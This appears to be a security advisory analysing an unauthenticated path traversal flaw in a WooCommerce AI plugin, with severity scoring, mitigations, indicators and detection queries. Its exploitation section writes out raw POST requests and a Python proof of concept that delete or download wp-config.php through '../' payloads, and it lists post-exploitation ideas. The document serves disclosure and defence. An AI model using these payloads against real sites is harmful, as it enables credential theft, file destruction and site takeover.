Comprehensive Technical Analysis of CVE-2025-14301

Vulnerability ID: CVE-2025-14301 CVSS Score: 9.8 (Critical) Affected Software: Opvius AI for WooCommerce (WordPress Plugin) ≤ 1.3.0 Vulnerability Type: Unauthenticated Path Traversal (Arbitrary File Deletion/Download)

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-14301 is a critical unauthenticated path traversal vulnerability in the Opvius AI for WooCommerce plugin, allowing attackers to delete or download arbitrary files on the server without authentication. The flaw stems from improper input validation in the process_table_bulk_actions() function, which processes user-supplied file paths via the wsaw-log[] POST parameter without:

• Authentication checks (unauthenticated access)
• Nonce verification (CSRF protection bypass)
• Path sanitization (directory traversal prevention)

CVSS 9.8 (Critical) Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely via HTTP requests.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable plugin’s context.
Confidentiality (C)	High (H)	Arbitrary file read (e.g., wp-config.php, database credentials).
Integrity (I)	High (H)	Arbitrary file deletion (e.g., wp-config.php, leading to site takeover).
Availability (A)	High (H)	Critical files can be deleted, causing site downtime.

Severity Justification:

• Unauthenticated access + arbitrary file deletion/read = high-impact, low-effort exploitation.
• No mitigating factors (e.g., rate-limiting, WAF rules) are mentioned, making exploitation trivial.
• Widespread impact on WooCommerce sites using the vulnerable plugin.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites

• Target: WordPress site running Opvius AI for WooCommerce ≤ 1.3.0.
• Attacker Knowledge: Basic understanding of HTTP requests and WordPress file structure.
• Tools Required: Burp Suite, cURL, or a simple Python script.

Exploitation Steps

A. Arbitrary File Deletion (Denial of Service / Site Takeover)

1. Identify Target File:

   • Common targets: wp-config.php, .htaccess, index.php, or plugin/theme files.

2. Craft Malicious POST Request:

   POST /wp-admin/admin-ajax.php?action=wsaw_logger_bulk_action HTTP/1.1
   Host: vulnerable-site.com
   Content-Type: application/x-www-form-urlencoded
   
   wsaw-log[]=../../../../wp-config.php&action=delete
   

   • wsaw-log[]: Path traversal payload (e.g., ../../../../ to escape plugin directory).
   • action=delete: Triggers file deletion.

3. Impact:

   • Deleting wp-config.php breaks the site and may allow database credential theft if an attacker re-uploads a malicious config.
   • Deleting .htaccess could disable security rules (e.g., IP restrictions, rewrite rules).

B. Arbitrary File Download (Information Disclosure)

1. Identify Sensitive Files:
   • wp-config.php (database credentials, salts)
   • wp-content/uploads/... (user data, backups)
   • /etc/passwd (if server misconfigured)
2. Craft Malicious POST Request:

   POST /wp-admin/admin-ajax.php?action=wsaw_logger_bulk_action HTTP/1.1
   Host: vulnerable-site.com
   Content-Type: application/x-www-form-urlencoded
   
   wsaw-log[]=../../../../wp-config.php&action=download
   

3. Impact:
   • Database credentials can be used for SQL injection or lateral movement.
   • WordPress salts enable session hijacking or cookie forgery.
   • Plugin/theme files may contain hardcoded secrets.

Proof-of-Concept (PoC) Exploit

import requests

target = "http://vulnerable-site.com/wp-admin/admin-ajax.php?action=wsaw_logger_bulk_action"
payload = {
    "wsaw-log[]": "../../../../wp-config.php",
    "action": "delete"  # or "download"
}

response = requests.post(target, data=payload)
print(response.text)  # Check for success/failure

Post-Exploitation Scenarios

1. Site Defacement / Ransomware:
   • Delete index.php and replace it with a ransom note.
2. Database Compromise:
   • Use stolen wp-config.php credentials to dump the database.
3. Backdoor Installation:
   • Upload a malicious plugin/theme via WordPress admin (if credentials are obtained).
4. Server Takeover:
   • If /etc/passwd or SSH keys are accessible, escalate to remote code execution (RCE).

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3. Affected Systems & Software Versions

Component	Affected Versions	Fixed Versions	Notes
Opvius AI for WooCommerce	≤ 1.3.0	≥ 1.3.1	Plugin must be updated.
WordPress Core	All versions	N/A	Vulnerability is plugin-specific.
Server Environment	Any (Linux/Windows)	N/A	Exploit works regardless of OS.

Detection Methods:

• Manual Check:
  • Verify plugin version in wp-content/plugins/woosa-ai-for-woocommerce/.
  • Check for process_table_bulk_actions() in class-module-logger-hook.php.
• Automated Scanning:
  • Wordfence: Detects CVE-2025-14301 via signature-based scanning.
  • Nuclei: Template available for unauthenticated path traversal checks.
  • WPScan: Plugin version enumeration.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Update the Plugin:
   • Upgrade to Opvius AI for WooCommerce ≥ 1.3.1 (or latest version).
2. Disable the Plugin (Temporary Workaround):
   • If no update is available, deactivate the plugin via WordPress admin or FTP.
3. Apply Virtual Patching:
   • Web Application Firewall (WAF) Rules:
     • Block requests containing wsaw-log[] or action=delete/download.
     • Example ModSecurity rule:

       SecRule ARGS:wsaw-log "@pmFromFile /path/to/blocked_files.txt" "id:1001,deny,status:403"
       

4. File System Hardening:
   • Restrict write permissions on critical files:

     chmod 400 wp-config.php
     chown root:root wp-config.php
     

   • Disable PHP execution in uploads directory:

     <FilesMatch "\.php$">
       Deny from all
     </FilesMatch>
     

Long-Term Remediation

1. Input Validation & Sanitization:
   • Whitelist allowed file paths (e.g., only within /wp-content/uploads/).
   • Use basename() and realpath() to resolve and validate paths.
   • Example fix:

     $file_path = realpath(plugin_dir_path(__FILE__) . '../' . basename($_POST['wsaw-log']));
     if (strpos($file_path, realpath(plugin_dir_path(__FILE__))) !== 0) {
         die("Invalid file path.");
     }
     

2. Authentication & Nonce Checks:
   • Enforce WordPress nonce verification for sensitive actions.
   • Restrict access to administrators only via current_user_can('manage_options').
3. Logging & Monitoring:
   • Log all file deletion/download attempts.
   • Set up SIEM alerts for suspicious wsaw-log[] requests.
4. Regular Security Audits:
   • Use static analysis tools (e.g., PHPStan, Psalm) to detect path traversal flaws.
   • Conduct penetration testing for WordPress plugins.

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. WooCommerce Ecosystem Risk:
   • WooCommerce powers ~28% of all online stores (W3Techs, 2025).
   • A single vulnerable plugin can compromise millions of sites.
2. Supply Chain Attacks:
   • Attackers may target plugin developers to inject backdoors (e.g., via compromised updates).
3. Automated Exploitation:
   • Botnets (e.g., Mirai, Kinsing) may incorporate this CVE for mass defacement/ransomware.
4. Regulatory & Compliance Risks:
   • GDPR/CCPA violations if customer data is exposed.
   • PCI DSS non-compliance if payment data is compromised.

Historical Context

• Similar vulnerabilities:
  • CVE-2021-24867 (WP File Manager RCE)
  • CVE-2022-0215 (WordPress Core Path Traversal)
• Trend: Unauthenticated file operations remain a top attack vector for WordPress.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability resides in class-module-logger-hook.php (lines 25, 41, 79, 160), where:

1. Missing Authentication:
   • The process_table_bulk_actions() function is hooked to admin-ajax.php but does not check user capabilities.
2. No Nonce Verification:
   • WordPress nonces are not validated, allowing CSRF attacks.
3. Path Traversal via wsaw-log[]:
   • User input is directly concatenated into file paths without sanitization.
   • Example vulnerable code (simplified):

     $file = $_POST['wsaw-log'][0]; // No validation
     if ($_POST['action'] == 'delete') {
         unlink($file); // Arbitrary file deletion
     }
     

Exploit Chaining Opportunities

1. RCE via Plugin Upload:
   • If wp-config.php is deleted, an attacker can reinstall WordPress and upload a malicious plugin.
2. Database Dumping:
   • Stolen credentials from wp-config.php can be used to dump the database via mysqldump.
3. Server-Side Request Forgery (SSRF):
   • If the plugin interacts with external APIs, SSRF may be possible.

Forensic Indicators of Compromise (IOCs)

Indicator	Description
HTTP Logs	POST requests to /wp-admin/admin-ajax.php?action=wsaw_logger_bulk_action with wsaw-log[] parameter.
File System Changes	Missing wp-config.php, .htaccess, or unexpected file deletions.
Database Logs	Unauthorized SELECT queries if credentials were stolen.
WAF Logs	Blocked requests containing ../../ or action=delete.

Detection & Hunting Queries

• Splunk:

  index=web sourcetype=access_* uri_path="/wp-admin/admin-ajax.php" action=wsaw_logger_bulk_action
  | search wsaw-log[]="*../*"
  

• Elasticsearch:

  {
    "query": {
      "bool": {
        "must": [
          { "match": { "url.path": "/wp-admin/admin-ajax.php" } },
          { "match": { "url.query.action": "wsaw_logger_bulk_action" } },
          { "wildcard": { "form_data.wsaw-log[]": "*../*" } }
        ]
      }
    }
  }
  

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Conclusion

CVE-2025-14301 is a critical unauthenticated path traversal vulnerability with severe real-world impact, enabling arbitrary file deletion and information disclosure. Given its CVSS 9.8 score and ease of exploitation, organizations must patch immediately, harden file permissions, and monitor for exploitation attempts.

Key Takeaways for Security Teams: ✅ Patch management is the #1 priority—update to ≥1.3.1. ✅ WAF rules can provide temporary protection while patching. ✅ File integrity monitoring (FIM) helps detect unauthorized changes. ✅ Threat hunting should focus on wsaw-log[] in web logs.

Final Recommendation:

• For WordPress Admins: Disable the plugin if no update is available.
• For Developers: Implement strict input validation and authentication checks in all file operations.
• For SOC Teams: Monitor for unusual file deletions and suspicious POST requests to admin-ajax.php.